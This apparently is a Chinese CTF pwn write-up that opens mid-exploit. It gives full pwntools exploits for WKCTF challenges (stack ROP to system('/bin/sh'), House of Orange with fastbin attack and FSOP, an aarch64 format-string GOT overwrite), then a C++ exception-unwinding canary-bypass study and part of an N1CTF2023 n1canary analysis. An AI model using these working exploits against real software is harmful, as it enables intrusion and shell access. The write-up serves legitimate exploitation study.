    menu(2)
    p.sendlineafter('username: ', username)
    p.sendlineafter('password: ', passwd)

def addbio(len, content='a'):
    menu(3)
    p.sendlineafter('length: ', str(len))
    p.sendline(content)

def exp():
    # debug('brva 0x162B')
    # debug('brva 0x1675')
    # debug('brva 0x14FA')
    # debug('brva 0x1656')
    # debug('brva 0x1515')
    login('root', 'a'*36)
    # login('root', 'this is password')

    payload = 'a'*(0x30)
    addbio(-1, payload)
    p.recvuntil(payload)
    # leak_addr = u64(p.recv(6).ljust(8,b'\x00'))
    leak_addr = recv64_addr()
    libc_base = leak_addr - 0x26d040	# 0x7fd71335b040->0x7fd7130ee000 is -0x26d040 bytes (-0x4da08 words)
    loginfo('libc_base: ', libc_base)
    p.sendlineafter('[y/n]', 'n')

    pop_rdi_ret = libc_base + 0x2a3e5
    system_addr = libc_base + libc.symbols['system']
    binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
    payload = 'a'*(0x60+0x8)
    payload += p64(pop_rdi_ret+1)
    payload += p64(pop_rdi_ret)
    payload += p64(binsh_addr)
    payload += p64(system_addr)
    p.sendlineafter('length: ', '-1')
    p.sendline(payload)
    p.sendlineafter('[y/n]', 'y')

exp()
p.interactive()

Fix 就是將此處的 <= 修改為 <,修改方式是將 ja -> jnb;也可以是修改讀入的密碼的長度

image-20240719001055931

WKCTF

baby_stack

程式保護如下,GOT 表可寫,無 canary

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./2.27-3ubuntu1.6'

棧上資料大放送,甚至不需要構造 payload,輸入數字作為對應偏移即可洩出對應資料

  fgets(s, 5, stdin);
  v0 = strtol(s, 0LL, 10);
  snprintf(format, 0x64uLL, "Your magic number is: %%%d$llx\n", v0);
  printf(format);

off-by-null,可以改 rbp 低位為 \x00,效果是在 echo_inner() 函式返回時有一定機率能夠抬棧,此時若在上方佈置了 ROP 鏈,則在上層函式 echo() 返回時就能執行到佈置的鏈子,在 ROP 鏈前新增儘可能多的滑板指令可以提高成功率

int __fastcall echo_inner(_BYTE *a1, int a2)
{
  a1[(int)fread(a1, 1uLL, a2, stdin)] = 0;
  puts("You said:");
  return printf("%s", a1);
}

exp 如下,跑不通多跑幾遍

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['110.40.35.73', 33711]
pwnfile = './pwn'
elf = ELF(pwnfile)
libcfile = './libc-2.27.so'
libc = ELF(libcfile)
# libc = elf.libc

def loginfo(a, b=None):
    if b is None:
        log.info(a)
    else:
        log.info(a + hex(b))

if len(sys.argv) == 2:
    if 'p' in sys.argv[1]:
        p = process(pwnfile)
    elif 'r' in sys.argv[1]:
        p = remote(ip_port[0], ip_port[1])
else:
    loginfo("INVALID_PARAMETER")
    sys.exit(1)

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def exp():
    # debug('b *$rebase(0x141E)')
    idx = ''
    p.sendlineafter('continue\n', idx)
    idx += '6'
    p.sendlineafter('number: ', idx)
    p.recvuntil('number is: ')
    libc_addr = int(p.recvline().strip(), 16)
    # print(libc_addr)
    libc_base = libc_addr - 0x3ec7e3
    loginfo('libc_base: ', libc_base)
    p.sendlineafter('(max 256)? ', '256')

    pop_rdi_ret = libc_base + 0x2164f
    system = libc_base + libc.symbols['system']
    binsh = libc_base + libc.search('/bin/sh\x00').next()  
    ret = libc_base + 0x8aa
    rop = p64(pop_rdi_ret)
    rop += p64(binsh)
    rop += p64(system)
    payload = p64(ret)*(32-4) + rop + p64(0)
    p.send(payload)

exp()
p.interactive()

'''
pwndbg> libc
libc : 0x7ff41a3ec000
pwndbg> dist 0x7ff41a7d87e3 0x7ff41a3ec000
0x7ff41a7d87e3->0x7ff41a3ec000 is -0x3ec7e3 bytes (-0x7d8fd words)
'''

easy_heap

2.23 的選單堆,esit() 函式處限制輸入長度的 size 可控,能夠實現很大程度的堆溢位

unsigned __int64 edit()
{
  unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
  _DWORD nbytes[3]; // [rsp+4h] [rbp-Ch] BYREF

  *(_QWORD *)&nbytes[1] = __readfsqword(0x28u);
  v1 = 0;
  nbytes[0] = 0;
  puts("Index :");
  __isoc99_scanf("%d", &v1);
  puts("Size :");
  __isoc99_scanf("%d", nbytes);
  if ( nbytes[0] > 0x1000u )
  {
    puts("too large");
    exit(0);
  }
  puts("Content :");
  read(0, *((void **)&chunk_ptr + v1), nbytes[0]);
  return __readfsqword(0x28u) ^ *(_QWORD *)&nbytes[1];
}

難點在於 show() 函式處只能輸出 8 個位元組,所以想洩出 heap_base 不容易,以及沒有 delete() 函式

unsigned __int64 show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  puts("Index :");
  __isoc99_scanf("%d", &v1);
  write(1, *((const void **)&chunk_ptr + v1), 8uLL);
  return __readfsqword(0x28u) ^ v2;
}

解法就是打 House of orangetop_chunk 鏈入到 unsorted bin,再切割這個堆塊踩出 libc 地址。然後用同樣的辦法,將新的 top_chunk 鏈入到 fastbin,其中要注意的是需要控制好偽造的 top_chunk_size 的大小和堆塊被切割後的剩餘大小,才能被鏈入目標 bin 鏈

偽造的 top_chunk_size 欄位需要符合下列條件:

  1. top_chunk_size 要大於 MINSIZE
  2. top_chunk_size 欄位的 prev_inuse = 1
  3. 堆空間存在頁對齊機制,要滿足 (top_chunk_addr + top_chunk_size) & 0xfff = 0x000

若偽造的 size 欄位不能滿足上述條件,觸發報錯如下

pwn: malloc.c:2401: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.

然後利用堆溢位修改 fd 指標,打 fastbin attack,exp 如下

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['127.0.0.1', 9999]
pwnfile = './pwn'

elf = ELF(pwnfile)
libcfile = './libc-2.23.so'
libc = ELF(libcfile)
# libc = elf.libc

def loginfo(a, b=None):
    if b is None:
        log.info(a)
    else:
        log.info(a + hex(b))

if len(sys.argv) == 2:
    if 'p' in sys.argv[1]:
        p = process(pwnfile)
    elif 'r' in sys.argv[1]:
        p = remote(ip_port[0], ip_port[1])
else:
    loginfo("INVALID_PARAMETER")
    sys.exit(1)

def recv64_addr():
    return u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def menu(index):
    p.sendlineafter('>\n', str(index))

def add(size, content='a'):
    menu(1)
    p.sendlineafter('Size :\n', str(size))
    p.sendafter('Content :\n', content)

def edit(index, size, content='a'):
    menu(2)
    p.sendlineafter('Index :\n', str(index))
    p.sendlineafter('Size :\n', str(size))
    p.sendafter('Content :\n', content)

def show(index):
    menu(3)
    p.sendlineafter('Index :\n', str(index))

def exp():
    # debug()
    add(0x68)           # 0
    payload = 'a'*0x68 + p64(0xf91)
    edit(0, len(payload), payload)

    add(0x1000)         # 1
    add(0x10)           # 2
    show(2)

    libc_addr = recv64_addr()
    libc_base = libc_addr - 0x3c5161
    one_gadget = [0x4527a, 0xf03a4, 0xf1247]
    shell = libc_base + one_gadget[2]
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    # pause()
    add(0xf48)          # 3, chunk empty

    # pause()
    add(0x68)           # 4
    payload = 'a'*0x68 + p64(0xf81)
    edit(4, 0x70, payload)
    add(0xf00-0x20)     # 5, edit this chunk
    add(0x100)          # 6

    payload = 'a'*(0xf00-0x20+0x8) + p64(0x71) + p64(malloc_hook - 0x23)
    edit(5, len(payload), payload)

    add(0x68)
    payload = p8(0)*3 + p64(0)*2 + p64(shell)
    add(0x68, payload)
    menu(1)
    p.sendlineafter('Size :\n', str(1))

exp()
p.interactive()

當然也可以使用常規的無 free() 函式的堆題的打法,House of orange + unsorted bin attack + FSOP,這樣的話難點在於需要一個堆地址,exp 如下

'''
huan_attack_pwn
'''

import sys
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
binary = './pwn'
libc = './libc-2.23.so'
host, port = "110.40.35.73:33786".split(":")

print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))

if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)

libc = ELF(libc)
elf = ELF(binary)

default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()

def Mea(idx):
	sla(b'>\n',str(idx))

def Add(sz,ct=b'a'):
	Mea(1)
	sla(b'Size :\n',str(sz))
	sla(b'Content :\n',ct)

def Edi(idx,sz,ct):
	Mea(2)
	sla(b'Index :\n',str(idx))
	sla(b'Size :\n',str(sz))
	sla(b'Content :\n',ct)
	# sleep(1)

def show(idx):
	Mea(3)
	sla(b'Index :\n',str(idx))

payload=b'a'*(0x408)+p64(0xbf1)
Add((0x400))

Edi(0,len(payload),payload)
Add(0x1000)

Add(0x400)

show(2)
libc_base = u64(rc(6).ljust(8,b'\0')) - 0x61 - 0x3C4B20 + 16672
main_arena = (0x7ffff7bc4b20 - libc_base) + libc_base
io_list_all=libc_base+libc.symbols['_IO_list_all']
sys_addr=libc_base+libc.symbols['system']

# lg('libc_base')

payload=padding(0x400)+p64(0)+p64(0x4b1)
Edi(2,len(payload),payload)
Add(0X600)
Add(0X500)
# pause()
payload=b'a'*(0x508)+p64(0x4d1)
Edi(4,len(payload),payload)

Add(0x500)

payload=b'a'*(0x508)+p64(0xaf1)
Edi(5,len(payload),payload)

Add(0x1000)

# Add(0xac1)
# Add(0xac1)
Add(0X500)
Add(0x5b0)
Add(0x500)

payload=b'a'*(0x508)+p64(0xae1)
Edi(9,len(payload),payload)
Add(0x1000)
Add(0x600)
Add(0x521)
Add(0x4a0)
Add(0x500)
Add(0x500)
Add(0x500)
Add(0x500)

show(13)
heapbase = u64(rc(3).ljust(8,b'\0')) - 0x1ba61

lg('main_arena')
lg('heapbase')
lg('libc_base')
# pause()

p = b'B' * (0x400-0x20)
p += p64(0)
p += p64(0x21)
p += b'B' * 0x10
# fake file
f = b'/bin/sh\x00' # flag overflow arg -> system('/bin/sh')
f += p64(0x61)    # _IO_read_ptr small bin size
#  unsoted bin attack
f += p64(0) # _IO_read_end)
f += p64(io_list_all - 0x10)  # _IO_read_base

#bypass check
# 使fp->_IO_write_base < fp->_IO_write_ptr繞過檢查
f += p64(0) # _IO_write_base 
f += p64(1) # _IO_write_ptr

f += p64(0) # _IO_write_end
f += p64(0) # _IO_buf_base
f += p64(0) # _IO_buf_end
f += p64(0) # _IO_save_base
f += p64(0) # _IO_backup_base
f += p64(0) # _IO_save_end
f += p64(0) # *_markers
f += p64(0) # *_chain

f += p32(0) # _fileno
f += p32(0) # _flags2

f += p64(1)  # _old_offset

f += p16(2) # ushort _cur_colum;
f += p8(3)  # char _vtable_offset
f += p8(4)  # char _shrotbuf[1]
f += p32(0) # null for alignment

f += p64(0) # _offset
f += p64(6) # _codecvt
f += p64(0) # _wide_data
f += p64(0) # _freeres_list
f += p64(0) # _freeres_buf

f += p64(0) # __pad5
f += p32(0) # _mode 為了繞過檢查,fp->mode <=0 ((addr + 0xc8) <= 0)
f += p32(0) # _unused2

p += f
p += p64(0) * 3 # alignment to vtable
p += p64(heapbase + 0x23010+8) # vtable指向自己
p += p64(0) * 2
p += p64(sys_addr) # _IO_overflow 位置改為system

payload = padding(0x4f8) + p64(0x181)
Add(0x4f8)

Edi(18,len(payload),payload)
Add(0x400)
Edi(19,len(p),p)	

# debug()
Mea(1)

sla(b'Size :\n',str(0x1000))

it()

something_changed

程式保護如下,一個 AARCH64 架構的程式,GOT 表可寫,開了 canary 保護

    Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

存在棧溢位,格式化字串漏洞,以及後門函式

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v4; // x19
  int i; // [xsp+FCCh] [xbp+2Ch]
  char v6[40]; // [xsp+FD0h] [xbp+30h] BYREF
  __int64 v7; // [xsp+FF8h] [xbp+58h]

  v7 = _bss_start;
  read(0, v6, 0x50uLL);
  for ( i = 0; ; ++i )
  {
    v4 = i;
    if ( v4 >= strlen(v6) )
      break;
    if ( (char *)(unsigned __int8)v6[i] == "$" )
      return 0;
  }
  printf(v6);
  return 0;
}

__int64 backdoor()
{
  __int64 v1; // [xsp+18h] [xbp+18h]

  v1 = _bss_start;
  system("/bin/sh");
  return v1 ^ _bss_start;
}

程式碼裡看似是禁用了 "$" 符,但是除錯時可以斷在 0x400820 這裡,看看 cmp 指令比較的兩個暫存器的值,X0 是指向 "$" 符的指標

image-20240721021246331

下面是 gpt 的解釋,不清楚是出題人的疏漏還是有意為之,總之可以不用去管 "$" 符這個限制

image-20240721021517677

PoC 測出偏移是 14,然後直接使用 fmtstr_payload 這個輪子將 __stack_chk_fail() 函式的 GOT 表改成後門地址

image-20240719171746417

exp 如下

from pwn import *
context(arch='aarch64', os='linux', log_level='debug')
p = process(['qemu-aarch64-static', './pwn'])

def exp():
    payload = fmtstr_payload(14, {0x411018:0x400770}, write_size='short')
    p.sendline(payload)

exp()
p.interactive()

順便記錄下相關的知識點

當時新的 wsl 虛擬機器遇到了如下報錯

$ qemu-aarch64-static ./pwn
qemu-aarch64-static: Could not open '/lib/ld-linux-aarch64.so.1': No such file or directory

解決方法如下

$ sudo apt-get install gcc-10-aarch64-linux-gnu
$ sudo cp /usr/aarch64-linux-gnu/lib/* /lib/

在執行於 x86_64 架構上的 Ubuntu 系統裡檢視 arm 交叉編譯的可執行檔案依賴的動態庫

$ readelf -a ./pwn | grep "Shared"
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
 0x0000000000000001 (NEEDED)             Shared library: [ld-linux-aarch64.so.1]

這道異構的除錯方法如下,第一個終端執行指令碼,注意修改建立連線的語句 p = process(['qemu-aarch64-static', '-g', '1234', './pwn']),然後另起一個終端使用 GDB 連上去

另外 GDB 預設會自動檢測並使用目標系統的位元組序模式,但以防萬一也可以自行設定小端序 pwndbg> set endian little

異構程式的除錯和相關指令集學習詳見 PowerPC&ARM架構下的pwn初探

$ gdb-multiarch -q -ex "set architecture aarch64" ./pwn
pwndbg> add-symbol-file ./libc.so.6
pwndbg> set endian little
pwndbg> target remote :1234

嫌另起終端麻煩的話可以嘗試下面的 exp,開啟新世界大門嘻

from pwn import *
context(arch='aarch64', os='linux', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
# p = process(['qemu-aarch64-static', './pwn'])
p = process(['qemu-aarch64-static', '-g', '1234', './pwn'])

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def exp():
    debug('''
    # add-symbol-file ./libc.so.6
    target remote :1234
    b *0x400854
    c
    ''')
    payload = fmtstr_payload(14, {0x411018:0x400770}, write_size='short')
    p.sendline(payload)

exp()
p.interactive()

C++異常處理

0x00 前置知識

本節內容針對 Linux 下的 C++ 異常處理機制,重點在於研究如何在異常處理流程中利用溢位漏洞,所以不對異常處理及 unwind 的過程做詳細分析,只做簡單介紹

異常機制中主要的三個關鍵字:throw 丟擲異常,try 包含異常模組, catch 捕捉丟擲的異常,它們一起構成了由 “丟擲->捕捉->回退” 等步驟組成的整套異常處理機制。當一個異常被丟擲時,就會立即引發 C++ 的異常捕獲機制。異常被丟擲後如果在當前函式內沒能被 catch,該異常就會沿著函式的呼叫鏈繼續往上拋,在呼叫鏈上的每一個函式中嘗試找到相應的 catch 並執行其程式碼塊,直到走完整個呼叫鏈。如果最終還是沒能找到相應的 catch,那麼程式會呼叫 std::terminate(),這個函式預設是把程式 abort

其中,從程式丟擲異常開始,沿著函式的呼叫鏈找相應的 catch 程式碼塊的整個過程叫作棧回退 stack

然後除錯一個 demo 來加深對異常處理機制的理解,目的是去驗證下列操作的可行性:

  1. 透過篡改 rbp 可以實現類似棧遷移的效果,來控制程式執行流 ROP
  2. unwind 會檢測在呼叫鏈上的函式里是否有 catch handler,要有能捕捉對應型別異常的 catch 塊;透過劫持 ret 可以執行到目標函式的 catch 程式碼塊,但是前提是要需要擁有合法的 rbp
// exception.cpp
// g++ exception.cpp -o exc -no-pie -fPIC
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void backdoor()
{
    try
    {
        printf("We have never called this backdoor!");
    }
    catch (const char *s)
    {
        printf("[!] Backdoor has catched the exception: %s\n", s);
        system("/bin/sh");
    }
}

class x
{
public:
    char buf[0x10];
    x(void)
    {
        // printf("x:x() called!\n");
    }
    ~x(void)
    {
        // printf("x:~x() called!\n");
    }
};

void input()
{
    x tmp;
    printf("[!] enter your input:");
    fflush(stdout);
    int count = 0x100;
    size_t len = read(0, tmp.buf, count);
    if (len > 0x10)
    {
        throw "Buffer overflow.";
    }
    printf("[+] input() return.\n");
}

int main()
{
    try
    {
        input();
        printf("--------------------------------------\n");
        throw 1;
    }
    catch (int x)
    {
        printf("[-] Int: %d\n", x);
    }
    catch (const char *s)
    {
        printf("[-] String: %s\n", s);
    }
    printf("[+] main() return.\n");
    return 0;
}

編譯出來的可執行檔案的保護如下,開了 canary 保護

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

輸入點 buf 距離 rbp 的距離是0x30

image-20240708170450929

所以測試輸入長度分別為0x31和0x39的 PoC,發現會報不同的 crash,合理推測棧上的資料(例如 ret, rbp)會影響異常處理的流程

ve1kcon@wsl:~$ cyclic 48
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
ve1kcon@wsl:~$ cyclic 56
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa

能發現無論怎麼樣都不會輸出程式裡寫在 input() 函式里的 [+] input() return.

這是因為異常處理時從 __cxa_throw() 開始,之後進行 unwind, cleanup, handler, 程式不會再執行發生異常所在函式的剩餘部分,會沿著函式呼叫鏈往回找能處理對應異常的最近的函式,然後回退至此函式執行其 catch 塊後跟著往下執行,途徑的函式的剩餘部分也不會再執行,自然不會執行到出現異常的函式的 throw 後面的語句,更不會執行到這些函式的 ret

這裡就能丟擲一個思考了:對 canary 的檢測一般在最後的函式返回處,那麼在執行異常處理流程時不就能跳過 stack_check_fail() 這個呼叫了嘛?

image-20240711142258572

下面利用 poc1 = padding + '\x01' 覆蓋 rbp 值,可以將斷點斷在 call _read 指令後面一點的位置,這樣就能斷下來了,在這裡觀察到 rbp 的低一位元組已被成功篡改為 '\x01'

image-20240711122655006

繼續執行至程式報錯的位置,最後在 0x401506 這條 ret 指令處出了問題,是錯誤的返回地址導致的,記錄下這個指令地址,後續可以將斷點打在這裡,觀察是否能成功控制程式流

image-20240711122855980

根據這個指令的地址,可以在 IDA 中定位到這是異常處理結束後最終的 ret 指令,所以可以確定是在執行 main 的 handler 時 crash,那麼上述報錯出現的原因其實就很明顯了,是因為最後執行的 leave; ret 使得 ret 的地址變成了 [rbp+8],導致不合法的返回地址。這也意味著在 handler 裡就能夠完成棧遷移,所以可以嘗試透過篡改 rbp 實現控制程式執行提前佈置好的 ROP 鏈

image-20240711163158364

接下來嘗試劫持程式去執行 GOT 表裡的函式

.got.plt:0000000000404040 off_404040      dq offset fflush        ; DATA XREF: _fflush+4↑r
.got.plt:0000000000404048 off_404048      dq offset read          ; DATA XREF: _read+4↑r
.got.plt:0000000000404050 off_404050      dq offset puts          ; DATA XREF: _puts+4↑r
.got.plt:0000000000404058 off_404058      dq offset __cxa_end_catch

利用 poc2 = padding + p64(0x404050-0x8),執行到上述斷點處發現成功呼叫到了 puts 函式

image-20240711123151272

證明操作1可行

但這種利用方式只適用於 “透過將 old_rbp 儲存於棧中來保留現場” 的函式呼叫約定,以及需要出現異常的函式的 caller function 要存在處理對應異常的程式碼塊,否則也會走到 terminate

為了除錯上述說法,對 demo 作了修改,主要改動如下

void test()
{
    x tmp;
    printf("[!] enter your input:");
    fflush(stdout);
    int count = 0x100;
    size_t len = read(0, tmp.buf, count);
    if (len > 0x10)
    {
        throw "Buffer overflow.";
    }
    printf("[+] test() return.\n");
}

void input()
{
    test();
    printf("[+] input() return.\n");
}

這回同樣是使用 poc2,但 crash 了

image-20240712131835926

對 demo 重新修改的部分如下

void input()
{
    try
    {
        test();
    }
    catch (const char *s)
    {
        printf("[-] String(From input): %s\n", s);
    }
    printf("[+] input() return.\n");
}

復現成功,這次是在 input 的 handler 裡被劫持,而非在 main 了

image-20240712134110648

但是噢,如果是透過打返回地址劫持到另外一個函式的異常處理模組,是沒有 “出現異常的函式的 caller function 要存在處理對應異常的程式碼塊” 這層限制的,但這也是後話了

由於呼叫鏈 __cxa_throw -> _Unwind_RaiseException,在 unwind 函式里會取執行時棧上的返回地址 callee ret 來對整個呼叫鏈進行檢查,它會在鏈上的函式里搜尋 catch handler,若所有函式中都無對應型別的 catch 塊,就會呼叫 __teminate() 終止程序。

利用 poc3 = poc2 + 'b'*8 除錯一下後面的 unwind 函式的過程,一直執行至 _Unwind_RaiseException+463 發生了 crash,合理猜測是在這呼叫的函式里作的檢測,所有可以觀察下此時傳參的情況,下斷方式是 b *(&_Unwind_RaiseException+463)

image-20240711194350062

這個地方迴圈執行了幾次

第一次,rdx -> 0x4000000000000000

image-20240712011202164

第二次,rdx -> 0x4013a7 (input()+162)

image-20240712012148249

第三次,rdx -> 0x6262626262626262 ('bbbbbbbb')

image-20240712012839855

再琢磨下異常處理機制,能夠發現另外一個利用點,就是假如函式A內有能夠處理對應異常的 catch 塊,是否可以透過影響執行時棧的函式呼叫鏈,即更改某 callee function ret 地址,從而能夠成功執行到函式A的 handler 呢

下面嘗試透過直接劫持 input() 函式的 ret, 可以發現在原始碼中有定義 backdoor() 函式,但程式中並沒有一處存在對該後門函式的引用,利用 poc4 = poc2 + p64(0x401292+1) 嘗試觸發後門

這裡將返回地址填充成了 backdoor() 函式里 try 程式碼塊裡的地址,它是一個範圍,經測試能夠成功利用的是一個左開右不確定的區間(x)

.text:0000000000401283                 lea     rax, format     ; "We have never called this backdoor!"
.text:000000000040128A                 mov     rdi, rax        ; format
.text:000000000040128D                 mov     eax, 0
.text:0000000000401292 ;   try {
.text:0000000000401292                 call    _printf
.text:0000000000401292 ;   } // starts at 401292
.text:0000000000401297                 jmp     short loc_4012FF

可以看見程式執行了後門函式的異常處理模組,復現成功,成功執行到了一個從未引用過的函式,而且程式從始至終都是開了 canary 保護的,這直接造成的棧溢位卻能繞過 stack_check_fail() 這個函式對棧進行檢測

image-20240711123749447

exp 如下

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
pwnfile = './exc'
p = process(pwnfile)

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def exp():
    # debug('b *0x401371')				# call _read 
    # b __cxa_throw@plt
    # b *0x401506						# handler ret
    # b *(&_Unwind_RaiseException+463)  # check ret
    test = 'a'*5
    padding = 'a'*0x30
    # poc = padding + '\n'
    poc1 = padding + '\x01'
    poc2 = padding + p64(0x404050-0x8)
    poc3 = poc2 + 'b'*8
    poc4 = poc2 + p64(0x401292+1)
    p.sendafter('input:', poc4)

exp()
p.interactive()

0x01 N1CTF2023_n1canary

2023/10

程式保護如下

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

非常具有迷惑性的一道題,出題人自行實現了一個 canary,並將它佈置在系統 canary 上面 0x10 的地方,但所有 canary 相關的檢測其實都是繞不過的,漏洞點是 launch() 函式處的棧溢位,觸發點是 raise() 函式處的異常丟擲,異常未能正確被捕獲並處理,最終是能夠避開對棧上 canary 的驗證並利用解構函式 ROP

main() 函式邏輯如下

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx
  __int64 v4; // rax
  _QWORD v6[3]; // [rsp+0h] [rbp-18h] BYREF

  v6[1] = __readfsqword(0x28u);
  setbuf(stdin, 0LL, envp);
  setbuf(stdout, 0LL, v3);
  init_canary();												// canary init
  std::make_unique<BOFApp>((__int64)v6);						// *v6 -> vtable for BOFApp+16 (0x4ed510)
  v4 = std::unique_ptr<BOFApp>::operator->((__int64)v6);		// v4 = v6
  (*(void (__fastcall **)(__int64))(*(_QWORD *)v4 + 16LL))(v4);	// call 0x403552 (BOFApp::launch())
  std::unique_ptr<BOFApp>::~unique_ptr((__int64)v6);
  return 0;
}

初始化 sys_canary 並讀取使用者輸入的64個位元組作為 user_canary,用來生成自定義 canary,第一個輸入點的 user_canary 是往 .bss 段上寫的

__int64 init_canary(void)
{
  if ( getrandom(&sys_canary, 64LL, 0LL) != 64 )
    raise("canary init error");
  puts("To increase entropy, give me your canary");
  return readall<unsigned long long [8]>(&user_canary);
}

__int64 __fastcall ProtectedBuffer<64ul>::getCanary(unsigned __int64 a1)
{
  return user_canary[(a1 >> 4) & 7] ^ sys_canary[(a1 >> 4) & 7];
}

這段程式碼實現了 BOFApp 類的建構函式,首先呼叫基類建構函式實現了 BOFApp 物件基類部分的初始化,然後將 BOFApp 物件的虛擬函式表指標設定為 off_4ED510,使得物件能夠正確呼叫其虛擬函式。透過除錯發現,賦值語句執行前 this -> vtable for UnsafeApp+16,執行後 this -> vtable for BOFApp+16

void __fastcall BOFApp::BOFApp(BOFApp *this)
{
  UnsafeApp::UnsafeApp(this);
  *(_QWORD *)this = off_4ED510;
}

建立一個 BOFApp 類的例項,然後呼叫 BOFApp建構函式初始化物件,跟進後面那個函式發現進行了 *a1 = v1 的操作

__int64 __fastcall std::make_unique<BOFApp>(__int64 a1)
{
  BOFApp *v1; // rbx

  v1 = (BOFApp *)operator new(8uLL);
  *(_QWORD *)v1 = 0LL;
  BOFApp::BOFApp(v1);
  std::unique_ptr<BOFApp>::unique_ptr<std::default_delete<BOFApp>,void>(a1, v1);
  return a1;
}

執行完 std::make_unique<BOFApp>((__int64)v6) 後,棧變數 v6 被重新賦值

image-20240713024135528

於是接下來呼叫的是 BOFApp::launch() 函式

pwndbg> x/20gx 0x4ed510+0x10
0x4ed520 <vtable for BOFApp+32>:        0x0000000000403552      0x0000000000000000

在 IDA 裡計算也是一樣的,執行 (*(void (__fastcall **)(__int64))(*(_QWORD *)v4 + 0x10LL))(v4); 語句,即 call *(0x4ED510+0x10)

.data.rel.ro:00000000004ED510 off_4ED510      dq offset _ZN6BOFAppD2Ev
.data.rel.ro:00000000004ED510                                         ; DATA XREF: BOFApp::BOFApp(void)+16↑o
.data.rel.ro:00000000004ED510                                         ; BOFApp::~BOFApp()+9↑o
.data.rel.ro:00000000004ED510                                         ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED518                 dq offset _ZN6BOFAppD0Ev ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED520                 dq offset _ZN6BOFApp6launchEv ; BOFApp::launch(void)

最後是物件的解構函式,裡面要重點關注的函式的路徑是 std::unique_ptr<BOFApp>::~unique_ptr() --> std::default_delete<BOFApp>::operator()(BOFApp*)這裡存在函式指標呼叫,這意味著只需要控制 a2 的值就能控制程式流

__int64 __fastcall std::default_delete<BOFApp>::operator()(__int64 a1, __int64 a2)
{
  __int64 result; // rax

  result = a2;
  if ( a2 )
    return (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a2 + 8LL))(a2);
  return result;
}

透過逆向分析和除錯可知引數 a2 與前面提到的棧變數 v6 有關,所以將斷點打在 0x40340D,正常輸入,除錯一下看傳參情況

image-20240714012712486

檢視虛擬函式表指標 +0x8 位置處指向什麼函式,0x4038b8

image-20240713032438043

再把斷點打在 0x403909,看到這裡確實呼叫到了上述函式

image-20240714021721469

下面介紹漏洞點

第二個輸入點存在棧溢位,呼叫鏈是 BOFApp::launch(void) --> ProtectedBuffer<64ul>::mut<BOFApp::launch(void)::{lambda(char *)#1}>(BOFApp::launch(void)::{lambda(char *)#1} const&) --> BOFApp::launch(void)::{lambda(char *)#1}::operator()(char *)

__int64 __fastcall BOFApp::launch(void)::{lambda(char *)#1}::operator()(
        __int64 a1,
        __int64 a2,
        int a3,
        int a4,
        int a5,
        int a6)
{
  return _isoc23_scanf((unsigned int)"%[^\n]", a2, a3, a4, a5, a6, a2, a1);
}

下列是 AI 的解釋

  1. _isoc23_scanf 根據格式字串讀取輸入。格式字串 "%[^\n]" 表示讀取所有非換行符的字元,直到遇到換行符為止。這樣寫其實就相當於 c 的 gets() 了。
  2. 輸入儲存:將讀取的輸入儲存在 a2 指向的緩衝區中。
  3. a3, a4, a5, a6 是額外引數,可能用於其他目的。

